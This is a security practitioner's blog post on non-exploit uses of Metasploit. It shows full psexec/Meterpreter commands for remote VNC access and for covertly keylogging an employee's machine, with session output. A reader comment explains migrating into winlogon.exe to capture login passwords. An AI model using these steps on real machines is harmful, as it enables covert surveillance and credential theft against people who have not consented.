Skip to main content

Welcome to Mark Baggett - In Depth Defense



I am the course Author of SANS SEC573 Automating Information Security with Python. Check back frequently for updated tools and articles related to course material.

Senior SANS Instructor
GSE #15
Internet Storm Center Handler
Penetration Testing and Incident Response Consultant
Technical Advisor to DoD for The SANS Institute
Founding President of the Greater Augusta ISSA
Cofounder of BSidesAugusta Security Conference


Tools:
FREQ SERVER - Tool and technique for detecting Malware Command and Control domains
DOMAIN_STATES - Tool for detecting "Baby Domains" used for phishing and Malware distribution
SRUM_DUMP - Forensics tool for extracting System Resource Utilization Monitoring artifacts
LIAM_NEESON - Proof of Concept Linux Hash Protection
HONEY_HASHES - Certainly Honey Tokens have been around since 2003 but I created a cool technique for creating fake SATs in memory that was turned into Dell Secure Works DCEPT framework.
VSSOWN - Tool & Technique for Using Microsoft Volume Shadow Copies for hiding malware and extracting artifacts
SDB Hacking - Using Application Compatibility in unexpected ways.
SET-KBLED - Utility for Managing Clevo and Sager Laptop LED Backlit Keyboards
Reassembler.py - Scapy based fragement reassembly engine
eapmd5crack.py - A password cracker for the EAP protocol


and more. Most of these tools are available on my github page. Follow me on twitter @markbaggett





No exploit Metasploit usage - VNC and Keylogging

OK.  I admit it.  I use metasploit at work.  Of course, I have permission to use it as a penetration testing tool, but I find it to be very useful in other circumstances as well.    I often use the PSEXEC "exploit" to provide username and password to fully patched machines for administrative purposes.   For example, it has come in handy when the standard remote access tools have been removed and there is a remote machine that the support center is unable to access.   They, rightly so,  have figured out that if the security team can get in to their machines without usernames and passwords, it should be pretty easy for them to help recover a managed machine with known usernames and passwords.   One option to troubleshoot the broken admin software is to remotely (and temporarily) install VNC on the stranded host.  I use to connect to the remote c$ with administrator credentials, copy up vnc, import the required registry keys, start the server, fix the problem, clean up the registry, clean up the files and kill the service.  Now I just do this..

./msfcli windows/smb/psexec smbuser=myadminacct smbpass=mypassword smbdomain=companydomain rhost=strandedmachineip payload=windows/vncinject/bind_tcp E

There is no clean up because the tools never reaches the disk of the remote machine.  This is very nice.  Doug Burks and I have even talked about stripping down ./msfweb to a barebones version that just ask for ip, username and password and launches the VNC session.   ./msfwebvnc could be wrapped around a msfd instance on a central server that allows the support center to recover machines.    We may do that some day.   Comment if that interests you.   Now meterpreter has introduced another feature I suspect I will use at work.   

I occasionally get asked to run a keylogger on an employees machines.  Meterpreter now has this functionality built into it.   Before you do this talk with HR and your legal team.   In my opinion no employee investigations should ever occur without HR's involvement.  Maybe its because wiretap laws make me nervous about using my KeyGhost logger, but anytime I'm dealing with keyloggers I like to talk with our lawyers.  I've been told its not a problem many times before, but I check with them first.  Meterpreter on the other hand is software and there is no "wire tapping" going on.   It should be much less intrusive and your less likely to have the employee notice it.   Ask me to tell you the horror story about the USB keylogger and the KVM system some time.    Also, I can use meterpreter to keylog a remote office in only a few seconds.   So now a keylogger on a remote system is as easy as:

./msfcli windows/smb/psexec smbuser=myadminacct smbpass=mypassword smbdomain=companydomain rhost=monitoredmachineip payload=windows/meterpreter/bind_tcp E
[*] Please wait while we load the module tree...
...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.100.4:60701 -> 192.168.100.7:4444)

meterpreter > grabdesktop

Trying to hijack the input desktop...

meterpreter > keyscan_start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

 I'm so glad we use this encrypted im channel to exchange sensitive data so the company doesn't catch us.   The stolen data is...

meterpreter >keyscan_stop


Interestingly, the keylogger does not capture the usernames and passwords when the user enters them at the screen saver logon prompts.   It records ctrl-alt-delete but not the password.   This is actually a good thing from my intended use.   Not knowing employees passwords protects the integrity of our audit logs.   



Comments

Ryan Sears said…
Hi there,

Your articles are a GREAT read, it's very hard to find good professional security information like your blog. Your last little bit though can be fixed, you can capture all login credentials for the machine by situating the meterpreter into the WINLOGON.exe process (using migrate). Then you can just sit there and see clearly separated user names and passwords as people login :)
Mark Baggett said…
Ryan,
Thanks for your feedback and the additional information! Check out some other posts out on pauldotcom.com.

Mark

Popular posts from this blog

SRUM-DUMP and SRUM_DUMP_CSV Ported to Python 3

SRUM_DUMP and SRUM_DUMP_CSV have been ported to Python3 and are available for download from the PYTHON3 branch of my github page.

https://github.com/MarkBaggett/srum-dump/tree/python3

In moving to Python3 I also updated the modules that I depend upon to parse and create XLSX files and access the ESE database that contains the SRUM data.  I hope that this will fix the issue that some users have experienced with SRUDB.dat files that create very large spreadsheets.  If it does not please let me know and continue to use SRUM_DUMP_CSV.EXE to avoid the XLSX problem.

In moving to Python3 you will find the process to be faster.

If you would like to run the tools from source instructions for doing so are in the README on the github page.

Use Python and Scapy to Easily Do Full Duplex Stream Reassembly!

Check out this blog on how to get scapy to do full packet reassembly in just a few lines of Python code.

https://pen-testing.sans.org/blog/2017/10/13/scapy-full-duplex-stream-reassembly


Awesome Keyboard Tricks - Clevo/Sager Backlight control from Powershell

I'm back on Windows.   After 8 years on a Macintosh I just couldn't go another day with ONLY 16GB of RAM.   I priced it out and for the cost of a top of the line MacBook I could get a tricked out PC with 32GB of ram and 2.5 TB or hard drive space (1.5 of it being SSD).   So I made the switch.  To get a top performing laptop I ended up buying a gaming machine from xoticpc.com.   The model is Sager NP9752 (Clevo P750ZM).    I have to say I like it quite a bit.    One of the features I was curious about was the "Programmable backlit keyboard".   With it you can set your keyboard backlight to various colors and light movement patterns.    Now, when I hear "programmable" I think APIs.   I was a little disappointed to find out there weren't any documented APIs that I could use to control the keyboard.    Your only choice is to use their built in tool to configure the lights on the keyboard.   That stinks.  I want to be able to change key colors automatically …